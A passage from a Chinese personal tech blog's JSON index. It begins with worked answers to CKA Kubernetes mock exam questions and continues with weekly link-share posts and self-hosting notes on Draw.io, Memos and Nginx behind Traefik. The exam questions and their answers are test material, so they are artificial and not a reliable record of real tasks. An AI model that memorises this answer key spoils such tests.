18426a0b-5f59-4e10-923f-c0e078e82462 # add #strategy: {} # remove template: metadata: creationTimestamp: null labels: id: ds-important # add uuid: 18426a0b-5f59-4e10-923f-c0e078e82462 # add spec: containers: - image: httpd:2.4-alpine name: ds-important resources: requests: # add cpu: 10m # add memory: 10Mi # add tolerations: # add - effect: NoSchedule # add key: node-role.kubernetes.io/control-plane # add #status: {} # remove 这里需要run on allnode ，所以容忍度这里需要进行配置，需要容忍 control-panel的taint。所以 tolerations 是比较重要的一部份。\n拓展 Kubectl apply 和 create 的区别\n根据搜索结果 [1][2][3][4][5][6], kubectl apply和kubectl create是用来创建Kubernetes对象的两个命令。它们之间的主要区别在于：\nImperative vs. Declarative：kubectl create是一种Imperative command，它是直接告诉kubectl要创建什么资源或对象，而kubectl apply是一种Declarative command，它不会直接告诉kubectl具体做什么，而是根据后面-f中的yaml文件与k8s中对应的对象进行比较和合并，实现将声明（Desired state）与实际状态（Actual state）进行比较和更新。\n资源存在性判断：kubectl create创建新资源，如果给定的资源名称已存在，将返回错误；而kubectl apply则不会创建新资源，而是在已有资源的基础上做更新的操作。\n部分更新：kubectl create只能创建完全指定的资源，如果只是想修改资源的某个字段，需要先获取资源然后修改，再进行更新。而kubectl apply可以对yaml文件中部分字段进行更新，只要在文件中定义那些要修改的字段就行了。\n综上，kubectl apply适用于部署对象的创建和更新，可以方便地进行部分更新，而kubectl create适用于在没有任何资源的情况下进行全新的创建操作。\n个人看法：由于apply基于现有的定义进行更新，仅更改当前定义和现有定义之间的差异，所以适用于应用的持续部署和自动化部署。而create更适用于应用的首次部署或罕见资源的创建。\nQuestion 13 | Multi Containers and Pod shared Volume Create a Pod named multi-container-playground in Namespace default with three containers, named c1, c2 and c3. There should be a volume attached to that Pod and mounted into every container, but the volume shouldn\u0026rsquo;t be persisted or shared with other Pods.\nContainer c1 should be of image nginx:1.17.6-alpine and have the name of the node where its Pod is running available as environment variable MY_NODE_NAME.\nContainer c2 should be of image busybox:1.31.1 and write the output of the date command every second in the shared volume into file date.log. You can use while true; do date \u0026gt;\u0026gt; /your/vol/path/date.log; sleep 1; done for this.\nContainer c3 should be of image busybox:1.31.1 and constantly send the content of file date.log from the shared volume to stdout. You can use tail -f /your/vol/path/date.log for this.\nCheck the logs of container c3 to confirm correct setup.\n创建一个有三个container的pod。 不同pod不同功能\n环境变量 缺省的变量名 Empty DIR 共享 run command yaml 文件重点的部份这里贴一下。\n使用节点名来作为环境变量导入container。\nenv: - name: MY_NODE_NAME valueFrom: fieldRef: fieldPath: spec.nodeName emptyDir 用来container 挂载\n# pod volumes: - name: vol emptyDir: {} # container volumeMounts: - name: vol mountPath: /vol 定义容器的Command，来实现题目中的功能\n# pod1 command: [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;while true; do date \u0026gt;\u0026gt; /vol/date.log; sleep 1; done\u0026#34;] #pod2 command: [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;tail -f /vol/date.log\u0026#34;] Question 14 | Find out Cluster Information You\u0026rsquo;re ask to find out following information about the cluster k8s-c1-H:\nHow many controlplane nodes are available? How many worker nodes are available? What is the Service CIDR? Which Networking (or CNI Plugin) is configured and where is its config file? Which suffix will static pods have that run on cluster1-node1? 获取集群的基本信息的能力，不难，但是有些名词不知道。这里也简单的记录一下。\n使用get node 通过role 就可以看到。\n使用get node 通过role 就可以看到。\n是查看service 的CIDR ，这个就是看 apiserver的配置。它是一个 staticipod。那么可以上控制平面节节点通过manifest 来查看。\n➜ ssh cluster1-controlplane1 ➜ root@cluster1-controlplane1:~# cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep range - --service-cluster-ip-range=10.96.0.0/12 查找主机安装的CNI插件，\n$find /etc/cni/net.d/ /etc/cni/net.d/ /etc/cni/net.d/10-weave.conflist $cat /etc/cni/net.d/10-weave.conflist { \u0026#34;cniVersion\u0026#34;: \u0026#34;0.3.0\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;weave\u0026#34;, ... 后缀是带有前导连字符的节点主机名。\n直接get all pod就可以看到。\nQuestion 15 | Cluster Event Logging Write a command into /opt/course/15/cluster_events.sh which shows the latest events in the whole cluster, ordered by time (metadata.creationTimestamp). Use kubectl for it.\nNow kill the kube-proxy Pod running on node cluster2-node1 and write the events this caused into /opt/course/15/pod_kill.log.\nFinally kill the containerd container of the kube-proxy Pod on node cluster2-node1 and write the events into /opt/course/15/container_kill.log.\nDo you notice differences in the events both actions caused?\n一个查看event的基本操作，用于定位集群问题。\nkubectl get events -A --sort-by=.metadata.creationTimestamp k -n kube-system delete pod kube-proxy-z64cg # 这里使用 crictl命令 和 docker 命令类似 crictl ps | grep kube-proxy crictl rm 1e020b43c4423 Question 16 | Namespaces and Api Resources Write the names of all namespaced Kubernetes resources (like Pod, Secret, ConfigMap\u0026hellip;) into /opt/course/16/resources.txt.\nFind the project-* Namespace with the highest number of Roles defined in it and write its name and amount of Roles into /opt/course/16/crowded-namespace.txt.\n送分题，get 所有的资源，以及role最多的命名空间。\nk api-resources # shows all k api-resources -h # help always good k api-resources --namespaced -o name \u0026gt; /opt/course/16/resources.txt 获取ns中间的role 计数\nk -n project-c13 get role --no-headers | wc -l Question 17 | Find Container of Pod and check info In Namespace project-tiger create a Pod named tigers-reunite of image httpd:2.4.41-alpine with labels pod=container and container=pod. Find out on which node the Pod is scheduled. Ssh into that node and find the containerd container belonging to that Pod.\nUsing command crictl:\nWrite the ID of the container and the info.runtimeType into /opt/course/17/pod-container.txt Write the logs of the container into /opt/course/17/pod-container.log 如题目所示，先创建pod，在找到它调度的节点。\nk -n project-tiger run tigers-reunite \\ --image=httpd:2.4.41-alpine \\ --labels \u0026#34;pod=container,container=pod\u0026#34; k -n project-tiger get pod -o wide 登录节点主机获取容器的信息，这里使用 crictl 命令 实际上和 docker 命令是一样的\n➜ ssh cluster1-node2 ➜ root@cluster1-node2:~# crictl ps | grep tigers-reunite b01edbe6f89ed 54b0995a63052 5 seconds ago Running tigers-reunite ... ➜ root@cluster1-node2:~# crictl inspect b01edbe6f89ed | grep runtimeType \u0026#34;runtimeType\u0026#34;: \u0026#34;io.containerd.runc.v2\u0026#34;, # get ssh cluster1-node2 \u0026#39;crictl logs b01edbe6f89ed\u0026#39; \u0026amp;\u0026gt; /opt/course/17/pod-container.log Question 18 | Fix Kubelet There seems to be an issue with the kubelet not running on cluster3-node1. Fix it and confirm that cluster has node cluster3-node1 available in Ready state afterwards. You should be able to schedule a Pod on cluster3-node1 afterwards.\nWrite the reason of the issue into /opt/course/18/reason.txt.\n找到 节点上 Kubectl 的未运行的原因。\nservice kubelet status ➜ root@cluster3-node1:~# /usr/local/bin/kubelet -bash: /usr/local/bin/kubelet: No such file or directory ➜ root@cluster3-node1:~# whereis kubelet kubelet: /usr/bin/kubelet # /opt/course/18/reason.txt wrong path to kubelet binary specified in service config Question 19 | Create Secret and mount into Pod Do the following in a new Namespace secret. Create a Pod named secret-pod of image busybox:1.31.1 which should keep running for some time.\nThere is an existing Secret located at /opt/course/19/secret1.yaml, create it in the Namespace secret and mount it readonly into the Pod at /tmp/secret1.\nCreate a new Secret in Namespace secret called secret2 which should contain user=user1 and pass=1234. These entries should be available inside the Pod\u0026rsquo;s container as environment variables APP_USER and APP_PASS.\nConfirm everything is working.\n简单的看下题目，是secret 的用法。一个是挂载只读。一个是注入到环境变量中。\nSecret 文件\n# 19_secret1.yaml apiVersion: v1 data: halt: IyEgL2Jpbi9zaAo... kind: Secret metadata: creationTimestamp: null name: secret1 namespace: secret # change 之后使用命令来进行创建\nk -f 19_secret1.yaml create k -n secret create secret generic secret2 --from-literal=user=user1 --from-literal=pass=1234 使用dry run 来创建yaml 模板\nk -n secret run secret-pod --image=busybox:1.31.1 $do -- sh -c \u0026#34;sleep 5d\u0026#34; \u0026gt; 19.yaml 如下文来进行yaml 的文件修改，里面有两段，一个是使用 key 来导入到 ENV 中去。 一段是挂载只读文件。\n# 19.yaml apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: run: secret-pod name: secret-pod namespace: secret # add spec: containers: - args: - sh - -c - sleep 1d image: busybox:1.31.1 name: secret-pod resources: {} env: # add - name: APP_USER # add valueFrom: # add secretKeyRef: # add name: secret2 # add key: user # add - name: APP_PASS # add valueFrom: # add secretKeyRef: # add name: secret2 # add key: pass # add volumeMounts: # add - name: secret1 # add mountPath: /tmp/secret1 # add readOnly: true # add dnsPolicy: ClusterFirst restartPolicy: Always volumes: # add - name: secret1 # add secret: # add secretName: secret1 # add status: {} Question 20 | Update Kubernetes Version and join cluster Your coworker said node cluster3-node2 is running an older Kubernetes version and is not even part of the cluster. Update Kubernetes on that node to the exact version that\u0026rsquo;s running on cluster3-controlplane1. Then add this node to the cluster. Use kubeadm for this.\nk8s 节点的升级。kubeadm upgrade node 但是回显报错。经验上看是没有安装k8s的环境。所以需要进行安装，并且手动的加入到集群。\ncouldn\u0026#39;t create a Kubernetes client from file \u0026#34;/etc/kubernetes/kubelet.conf\u0026#34;: failed to load admin kubeconfig: open /etc/kubernetes/kubelet.conf: no such file or directory To see the stack trace of this error execute with --v=5 or higher 指定安装命令如下。\nroot@cluster3-node2:~# apt show kubectl -a | grep 1.26 apt install kubectl=1.26.0-00 kubelet=1.26.0-00 kubelet --version service kubelet restart service kubelet status # 输出会有报错，因为没有加入集群 在控制平面上创建新的join token\n➜ ssh cluster3-controlplane1 ➜ root@cluster3-controlplane1:~# kubeadm token create --print-join-command kubeadm join 192.168.100.31:6443 --token rbhrjh.4o93r31o18an6dll --discovery-token-ca-cert-hash sha256:d94524f9ab1eed84417414c7def5c1608f84dbf04437d9f5f73eb6255dafdb18 ➜ root@cluster3-controlplane1:~# kubeadm token list 到node节点上在使用 join 命令来加入到集群中去\nkubeadm join 192.168.100.31:6443 --token rbhrjh.4o93r31o18an6dll --discovery-token-ca-cert-hash Question 21 | Create a Static Pod and Service Create a Static Pod named my-static-pod in Namespace default on cluster3-controlplane1. It should be of image nginx:1.16-alpine and have resource requests for 10m CPU and 20Mi memory.\nThen create a NodePort Service named static-pod-service which exposes that static Pod on port 80 and check if it has Endpoints and if it\u0026rsquo;s reachable through the cluster3-controlplane1 internal IP address. You can connect to the internal node IPs from your main terminal.\nstatic pod 的创建，前面提到了相关的知识点。 static pod 是不受 kube api 控制的。 是本机的kubelet 直接控制。创建起来很简单，放在manifest 文件夹中就可以成功创建了。\n➜ ssh cluster3-controlplane1 ➜ root@cluster1-controlplane1:~# cd /etc/kubernetes/manifests/ ➜ root@cluster1-controlplane1:~# kubectl run my-static-pod \\ --image=nginx:1.16-alpine \\ -o yaml --dry-run=client \u0026gt; my-static-pod.yaml Question 22 | Check how long certificates are valid Check how long the kube-apiserver server certificate is valid on cluster2-controlplane1. Do this with openssl or cfssl. Write the exipiration date into /opt/course/22/expiration.\nAlso run the correct kubeadm command to list the expiration dates and confirm both methods show the same date.\nWrite the correct kubeadm command that would renew the apiserver server certificate into /opt/course/22/kubeadm-renew-certs.sh.\n➜ ssh cluster2-controlplane1 ➜ root@cluster2-controlplane1:~# find /etc/kubernetes/pki | grep apiserver #openssl 进行查看 openssl x509 -noout -text -in /etc/kubernetes/pki/apiserver.crt | grep Validity -A2 使用kubeadm 来查看证书情况，以及renew\n➜ root@cluster2-controlplane1:~# kubeadm certs check-expiration | grep apiserver kubeadm certs renew apiserver Question 23 | Kubelet client/server cert info Node cluster2-node1 has been added to the cluster using kubeadm and TLS bootstrapping.\nFind the \u0026ldquo;Issuer\u0026rdquo; and \u0026ldquo;Extended Key Usage\u0026rdquo; values of the cluster2-node1:\nkubelet client certificate, the one used for outgoing connections to the kube-apiserver. kubelet server certificate, the one used for incoming connections from the kube-apiserver. Write the information into file /opt/course/23/certificate-info.txt.\nCompare the \u0026ldquo;Issuer\u0026rdquo; and \u0026ldquo;Extended Key Usage\u0026rdquo; fields of both certificates and make sense of these.\nQuestion 24 | NetworkPolicy There was a security incident where an intruder was able to access the whole cluster from a single hacked backend Pod.\nTo prevent this create a NetworkPolicy called np-backend in Namespace project-snake. It should allow the backend-* Pods only to:\nconnect to db1-* Pods on port 1111 connect to db2-* Pods on port 2222 Use the app label of Pods in your policy.\nAfter implementation, connections from backend-* Pods to vault-* Pods on port 3333 should for example no longer work.\n配置 Networkpolicy 来限制pod 到指定范围的出口。\n# 先看看目前的pod环境 ➜ k -n project-snake get pod -L app # 得到目前的pod 的ip ➜ k -n project-snake get pod -o wide ### 使用exec 来进行访问测试，可见目前都是通的 ➜ k -n project-snake exec backend-0 -- curl -s 10.44.0.25:1111 database one ➜ k -n project-snake exec backend-0 -- curl -s 10.44.0.23:2222 database two ➜ k -n project-snake exec backend-0 -- curl -s 10.44.0.22:3333 vault secret storage 编辑networkPolicy，下面直接列出来配置，因为是对backend 进行配置，所以是限制他的egress。\n# 24_np.yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: np-backend namespace: project-snake spec: podSelector: matchLabels: app: backend policyTypes: - Egress # policy is only about Egress egress: - # first rule to: # first condition \u0026#34;to\u0026#34; - podSelector: matchLabels: app: db1 ports: # second condition \u0026#34;port\u0026#34; - protocol: TCP port: 1111 - # second rule to: # first condition \u0026#34;to\u0026#34; - podSelector: matchLabels: app: db2 ports: # second condition \u0026#34;port\u0026#34; - protocol: TCP port: 2222 Question 25 | Etcd Snapshot Save and Restore Make a backup of etcd running on cluster3-controlplane1 and save it on the controlplane node at /tmp/etcd-backup.db.\nThen create a Pod of your kind in the cluster.\nFinally restore the backup, confirm the cluster is still working and that the created Pod is no longer with us.\nETCD 的备份和恢复。 ETCD 可能是 服务安装方式，或者是集群内安装方式。所以需要检查etc文件夹和 manifest 文件夹。找到配置文件。来了得到关键的信息。证书的路径等等\n➜ root@cluster3-controlplane1:~# cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key - --etcd-servers=https://127.0.0.1:2379 TIPS Components\nUnderstanding Kubernetes components and being able to fix and investigate clusters: https://kubernetes.io/docs/tasks/debug-application-cluster/debug-cluster Know advanced scheduling: https://kubernetes.io/docs/concepts/scheduling/kube-scheduler When you have to fix a component (like kubelet) in one cluster, just check how it\u0026rsquo;s setup on another node in the same or even another cluster. You can copy config files over etc If you like you can look at Kubernetes The Hard Way once. But it\u0026rsquo;s NOT necessary to do, the CKA is not that complex. But KTHW helps understanding the concepts You should install your own cluster using kubeadm (one controlplane, one worker) in a VM or using a cloud provider and investigate the components Know how to use Kubeadm to for example add nodes to a cluster Know how to create an Ingress resources Know how to snapshot/restore ETCD from another machine CKA Preparation Read the Curriculum\nhttps://github.com/cncf/curriculum\nRead the Handbook\nhttps://docs.linuxfoundation.org/tc-docs/certification/lf-candidate-handbook\nRead the important tips\nhttps://docs.linuxfoundation.org/tc-docs/certification/tips-cka-and-ckad\nRead the FAQ\nhttps://docs.linuxfoundation.org/tc-docs/certification/faq-cka-ckad\n","date":"2023-04-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/cka%E6%A8%A1%E6%8B%9F%E9%A2%98%E5%AD%A6%E4%B9%A0/","tags":["k8s"],"title":"CKA模拟题学习"},{"categories":["每周分享"],"contents":"生活\u0026amp;工作\u0026amp;玩 资源站点的一些优化 找到了xmlrpc 405 的原因，被主题的 filter 给过滤掉了。可以现在也可以使用markdown来进行文本编辑。以及使用脚本来进行一键发布了。 发布脚本进行了优化，先扫描内容之后在进行内容发布，做到射后不管。\nCKA 过完了CKA 的模拟测试题目，考试应该是没有问题了。抽时间约考。\n大学习 LTS 深入浅出现代Web编程\u0026ndash;全栈公开课 2022\n学了前面的部分\n计算机系统要素，从零开始构建现代计算机（nand2tetris）\n还没有开始学\u0026hellip;\n好文 好工具 已经更新到了资源站点。使用 markdown 的方式进行资源发布。\n","date":"2023-03-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/202314/","tags":["Misc"],"title":"2023[14]"},{"categories":["每周分享"],"contents":"生活\u0026amp;工作\u0026amp;玩 资源分享站点 得开拓点财路，资源站还是要做起来，卖VPS来赚钱以及靠广告赚钱。\n下面的是我的资源站点\nwww.12ms.xyz 使用了Puock 开源的主题，功能十分强大。可以很简单的进行UI的自定义。\n另外PHP也升级到了8，开启了opcache 以及 使用memcache来进行Wordpress的对象缓存。整体速度得到了不少的提升。upstream response time 从一秒下降到 0.2秒左右。\n目前在稳定运行中，后面研究研究怎么进行引流。\n开始使用BeanCount 来进行记账 之前总是觉得太复杂，觉得记账真难。但是开始操作之后，发现实际上就是需要简单的理解几个概念就能上手使使用了还是比较的简单。后面简单的写一篇文章总结一下。\nhttps://beancount.io/page/en/cheat-sheet 大学习 LTS 深入浅出现代Web编程\u0026ndash;全栈公开课 2022\n学了前面的部分\n计算机系统要素，从零开始构建现代计算机（nand2tetris）\n还没有开始学\u0026hellip;\n重学《精通比特币》\n好文 交易所漏洞之“薅羊毛“分析\n使用高频交易来赚做市商的钱\nScaling Bitcoin Node with Kubernetes 使用K8s来维护一个BTC 的节点，但是看了一圈好像并不是主流的方法。\n如果您在其上构建了资源和自动化以使其保持最新并正确处理负载平衡，则扩展 BTC 节点并不难。一些云基础设施提供商甚至限制了如何匹配每个帐户可以使用的存储，这是在本地托管 BTC 节点的另一个限制，因为与它们相关的大部分成本都归结为扩展每个节点的存储空间。这就是为什么有像 https://blockpulsar.com这样的服务 ，它们通过为使用比特币区块链 API 提供干净的 API 来完成所有复杂的基础设施工作。\n好工具 以后这部分会收纳到分享站点中去，请到下面站点找寻\nwww.12ms.xyz ","date":"2023-03-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/202313-/","tags":["Misc"],"title":"2023[13]"},{"categories":["什么值得玩"],"contents":"前 自托管白板服务，Drawio ，和Sqlite 一样开源但是不开放贡献。\n可以进行自行托管，不需要事事都用Processon，感觉就是这个项目改的。向开源精神致敬。\n我托管的Draw.io 正文 项目本身提供了Docker命令，使用composized来进行到compose 的转换\nDocker-compose文件进行简单的修改，文件和Docker-compose\n# docker run -it --rm --name=\u0026#34;draw\u0026#34; -p 8080:8080 -p 8443:8443 jgraph/drawio version: \u0026#39;3.3\u0026#39; services: drawio: container_name: draw ports: - \u0026#39;5001:8080\u0026#39; - \u0026#39;5002:8443\u0026#39; image: jgraph/drawio 更多配置项目参考\njgraph/drawio ","date":"2023-03-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/draw.io-%E8%87%AA%E6%89%98%E7%AE%A1%E7%99%BD%E6%9D%BF%E6%9C%8D%E5%8A%A1/","tags":["Self-hosting"],"title":"Draw.io 自托管白板服务"},{"categories":["每周分享"],"contents":"生活\u0026amp;工作 没有什么值得记录的\n大学习 LTS 深入浅出现代Web编程\u0026ndash;全栈公开课 2022\n学了前面的部分\n计算机系统要素，从零开始构建现代计算机（nand2tetris）\n还没有开始学\u0026hellip;\nShort Term Details of the Cloudflare outage on July 2, 2019\nCloudflare的一个事故的复盘报告\n好文 uniswap - V3技术白皮书导读\n天天说学习Defi，一直没有很好的实践。这是一篇比较基础的V3的技术导读。简单来讲V3 把流动性的提供者分成了很多个网格。你的资金提供的流动性在区间内才会被利用到。提升了资金利用的集中性。对比V2的大区间。V3就拆成了很多小区间。\n好站 academy.useweb3 Web3 知识测试题，用来测试用户的web3 知识等级使用。可以保存后面用来面试也是可以的。\n比特币维基百科\nsocode.pro SEARCH CHEAT SHEETS IN A QUICK AND COMFORTABLE INPUT BOX.\n很好的API文档集合，像是一个在线版本的 Dash\n好工具 onenav 开源的数据导航和管理工具。\nOneNav是一款开源免费的书签（导航）管理程序，使用使用PHP + SQLite 3开发，界面简洁，安装简单，使用方便。OneNav可帮助你你将浏览器书签集中式管理，解决跨设备、跨平台、跨浏览器之间同步和访问困难问题，做到一处部署，随处访问。\nplay-with-docker 一个在线的dockerplayground。可以对一些Docker进行在线的体验。\n用于临时的项目测试，或者使用是很方便的，比如用这个网址就可以一键在虚拟环境进行 这个 compose的部署。会有一个四个小时的使用时间。时间过或者是手动Close 就会进行资源回收。\nhttps://labs.play-with-docker.com/?stack=https://raw.githubusercontent.com/Lissy93/dashy/master/docker-compose.yml Dashy\nDashy 通过让您可以从一个地方访问它们来帮助您组织您的自托管服务\n界面风格很喜欢，下面是操作细节，可以直接进行Config的配置。\njavascript.info The Modern JavaScript Tutorial\ngetify/You-Dont-Know-JS\n深入浅出现代Web编程\u0026ndash;全栈公开课 2022\nweb.archive 保存web页面的历史数据的站点，最大最全！\n","date":"2023-03-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/202312/","tags":["Misc"],"title":"2023[12]"},{"categories":["OP"],"contents":"前 K8S 集群希望再暴露其他的服务，但是不想再做一层Ingerss。\n所以就这里记录一个偷懒的方法，直接使用 Traefik吧流量打到nginx 的Svc上来进行二次的转发。从而可以直接把入口流量打到集群之外的实例上去。\n当然感觉整体的思路不大对，这样做破坏了集群的整体性。但是如服务还是处于混合的状态。也不失为一种办法。\n正文 TLDR 因为是用的 K8s来进行部署的， 这里直接把yaml贴出来。用来一键部署就可以了。\nyaml 包含 Deployment/configmap/service资源\n但是这里的问题是 Config 改变了Nginx本身不会自行进行reload。所以后面的文章来也试图进优化\napiVersion: apps/v1 kind: Deployment metadata: name: nginx-ext namespace: traefik spec: selector: matchLabels: app: nginx-ext template: metadata: labels: app: nginx-ext spec: containers: - name: nginx-ext image: nginx resources: limits: memory: \u0026#34;128Mi\u0026#34; cpu: \u0026#34;500m\u0026#34; ports: - containerPort: 80 volumeMounts: - mountPath: /etc/nginx/ name: ge-config volumes: - name: ge-config configMap: name: nginx-config --- apiVersion: v1 kind: ConfigMap metadata: name: nginx-config namespace: traefik data: nginx.conf: \u0026gt; worker_processes 2; error_log /dev/stdout info; worker_rlimit_nofile 8192; events { worker_connections 4096; } http { log_format main \u0026#39;$remote_addr - $remote_user [$time_local] $status \u0026#39; \u0026#39;\u0026#34;$request\u0026#34; $body_bytes_sent \u0026#34;$http_referer\u0026#34; \u0026#39; \u0026#39;\u0026#34;$http_user_agent\u0026#34; \u0026#34;$http_x_forwarded_for\u0026#34;\u0026#39;; access_log /dev/stdout main; sendfile on; tcp_nopush on; server_names_hash_bucket_size 128; server { listen 80 default; access_log /dev/stdout; return 200 \u0026#39;This is text!\u0026#39;; } server { listen 80; server_name domain2.com www.domain2.com; access_log /dev/stdout main; location / { proxy_pass http://127.0.0.1:8080; } } } --- apiVersion: v1 kind: Service metadata: name: nginx-svc namespace: traefik spec: selector: app: nginx-ext ports: - port: 80 targetPort: 80 更近一步 Sidecar 前面提到的问题：如果实现configmap 监控从而实现自动reload。如果在容器内可以直接nginx -s reload了。但是在Pod中，我们需要进行一个监控。\n所以这里就要用到 Sidecar了，启用一个sidecar 来对内容进行监控，如果发生改变。那么就对nginx 进行reload操作。\n这里需要注意的是POD中如果需要共享进程命名空间，这里需要启用 shareProcessNamespace。 可以参考官方的例子。\n你可以在其他容器中对进程发出信号。例如，发送 SIGHUP 到 nginx 以重启工作进程。 此操作需要 SYS_PTRACE 权能。\napiVersion: v1 kind: Pod metadata: name: nginx spec: shareProcessNamespace: true containers: - name: nginx image: nginx - name: shell image: busybox:1.28 securityContext: capabilities: add: - SYS_PTRACE stdin: true tty: true 那么打通了进程命名的路子，这里就开始着手监控以及重启命令的代码。这里就可以用到 inotify来操作。实例代码如下\n# 监视的文件或目录 filename=$1 # 监视发现有增、删、改时执行的脚本 script=$2 inotifywait -mrq --format \u0026#39;%w %f %e\u0026#39; --event create,delete,modify $filename | while read event do case $event in MODIFY|CREATE|DELETE) bash $script ;; esac done Plugin-Reloader 这里还有更简单通用的方法 Reloader，ConfigMap Reloader 可以观察和中的变化，Secret并在 Pod 上对其关联的DeploymentConfigs、Deployments和进行滚动升级。Daemonsets Statefulsets Rollouts。\n使用 auto 时候他这将自动发现 deploymentconfigs/deployments/daemonsets/statefulset/rolloutsfoo-configmap或foo-secret正在通过环境变量或从卷挂载使用。foo-configmap并且当或foo-secret更新时，它会在相关的 Pod 上进行滚动升级\nkind: Deployment metadata: annotations: reloader.stakater.com/auto: \u0026#34;true\u0026#34; spec: template: metadata: 监控特定的config文件时：\nkind: Deployment metadata: annotations: configmap.reloader.stakater.com/reload: \u0026#34;=foo-configmap\u0026#34; # configmap.reloader.stakater.com/reload: \u0026#34;foo-configmap,bar-configmap,baz-configmap\u0026#34; # secret.reloader.stakater.com/reload: \u0026#34;foo-secret,bar-secret,baz-secret\u0026#34; spec: template: metadata: Reloader ","date":"2023-03-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/traefik%E4%BB%A3%E7%90%86%E9%9B%86%E7%BE%A4%E5%A4%96/","tags":["运维方案"],"title":"Traefik代理集群外"},{"categories":["玩点什么"],"contents":"前 来推荐一个轻量小而美。使用 memo的方式来记录自己的知识和思维碎片\n一个轻量级的自托管备忘录中心。开源且永远免费。\nMemos 自己保管自己的资料。运行时生成的所有数据都保存在 SQLite 数据库文件中。\n所有内容都将保存为纯文本，而不是 HTML。并且支持许多有用的降价语法。\n采用Go + React.js + SQLite架构，整体封装非常轻量。\nmemos 相信开源才是未来，所有代码都已经在 GitHub 开源。\n我的Memos 正文 直接使用Docker-compose来进行一键部署。简单高效。\nversion: \u0026#34;3.0\u0026#34; services: memos: restart: always image: neosmemo/memos:latest container_name: memos volumes: - memos-data:/var/opt/memos ports: - 5230:5230 volumes: memos-data: 拓展应用 Moe Memos ​\t一个兼容memos 的终端应用支持 iOS/Android\nMemos-bber ​\t随时记录memos 的浏览器插件\n","date":"2023-03-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/%E9%83%A8%E7%BD%B2%E8%87%AA%E5%B7%B1%E7%9A%84%E7%A2%8E%E7%89%87%E4%BB%93%E5%BA%93-memos/","tags":["Homelab"],"title":"部署自己的碎片仓库-Memos"},{"categories":["每周分享"],"contents":"好文 总结了一下制作英文简历的步骤和技巧，附上了常用词汇和模版 重读 Google SLO 小记 | 智能告警之殇 《Google\u0026rsquo;s Site Reliability Workbook》 大学习 在全力准备CKA中，摆脱了123陷阱，何为123陷阱后面自己在慢慢总结。\n悟出了k8s的哲学，万物皆资源，资源皆可编排。和Linux 的万物皆文件的设计哲学异曲同工。\n使用模拟题测了测，效果还可以。 不是很难。\nsst.dev 在 AWS 上使用无服务器和 React 构建全栈应用程序的最广泛阅读资源。 工具推荐 Deno 一个类似于CF 的worker 的JS 边缘Runtime，实现Serverless 的应用部署。 cstate 一个类似于Cloudflare服务检测的开源可用性检测工具。Example 趣站 planetable 一个基于IPFS和ENS 建立起来的博客系统，没错是博客系统。\nPlanet 是一个免费的开源工具，用于发布和关注 Web 内容。它不依赖中央服务器或服务，而是使用 IPFS 进行点对点内容分发。您还可以将您的内容链接到以太坊名称（例如您的姓名.eth），以便其他人可以使用您的 .eth 名称在 Planet 上关注您。由于IPFS和ENS都是去中心化的，因此您可以使用 Planet 以去中心化的方式构建和关注网站。\nwttr.in 用于终端的天气预报，在路径输入城市如 ShenZhen\nthe-algorithms 最大的Github算法库\n漏洞银行 一个信息安全技能学习基地\ndamn-vulnerable-defi OpenZeppelin 的\nINS 🍭\u0026ndash;开源灵感数据库 开源灵感数据库，免费无广告，Github Actions自动检测网址访问速度~\nbloghub.fun 中文博客汇集站点，会时不时发现一些好文章。\n","date":"2023-03-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/202311/","tags":["Misc"],"title":"2023[11]"},{"categories":["每周分享"],"contents":"好文 Self-host in 2023\n记录2023年的Selfhost是什么形态，偶遇了coolify 看起来是非常棒的应用。\nCoinbase 的质押服务不是证券。这就是为什么。\n无论如何，Staking 都不符合 Howey test 的四个要素：金钱的投入、共同的事业、合理的利润预期和他人的努力。\n区块链技术可以刺激美国经济的显着增长，而抵押是该技术的安全和关键方面。Coinbase 支持我们行业的合理监管。但是，无助于帮助消费者和推动离岸创新的执法监管并不是解决之道。正确处理赌注问题。\nCoinbase 的容器技术\u0026ndash;为什么 Kubernetes 不是我们堆栈的一部分\nRunning Kubernetes does not solve any customer (engineering) problems. Running Kubernetes would actually create a whole new set of problems.\nScaling Bitcoin Node with Kubernetes\n如果您在其上构建了资源和自动化以使其保持最新并正确处理负载平衡，则扩展 BTC 节点并不难。\n低成本体验生成 AI 小姐姐照片\n详细的教程基于 stable-diffusion 来进行图片生成的教程。你写prompt 它来生成对应的图片。\n双音多频DTMF\n1209 Hz 1336 Hz 1477 Hz 1633 Hz 697 Hz 1 2 3 A 770 Hz 4 5 6 B 852 Hz 7 8 9 C 941 Hz * 0 # D 好站 反斗限免\n各种免费版本的工具分享网站。\n子慎独，不欺暗室， 卑以自牧，含章可贞。\n大学习 计算机系统要素，从零开始构建现代计算机（nand2tetris）\n还没有开始学\u0026hellip;\n好工具 gh-proxy\n一个Serverless的妙用服务，用来加速大陆地区到GH的DL速度。ghproxy.com\nQQ浏览器 - 帮小忙, 万能工具宝藏\ncakebrew\nHomebrew的可视化管理工具，用来管理Homebrew 装的应用。 那里不会点哪里。降低心智成本。\nmempool.space\n一个可视化做的很不错的比特币区块浏览器。展示了区块的大小以及UTXO的可视化走向。\n","date":"2023-02-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/202309/","tags":["Misc"],"title":"2023[09]"},{"categories":["category1"],"contents":"前 我有图片啦，我有图片啦。之前的Blog一直是没有图片的。\n为什么？ 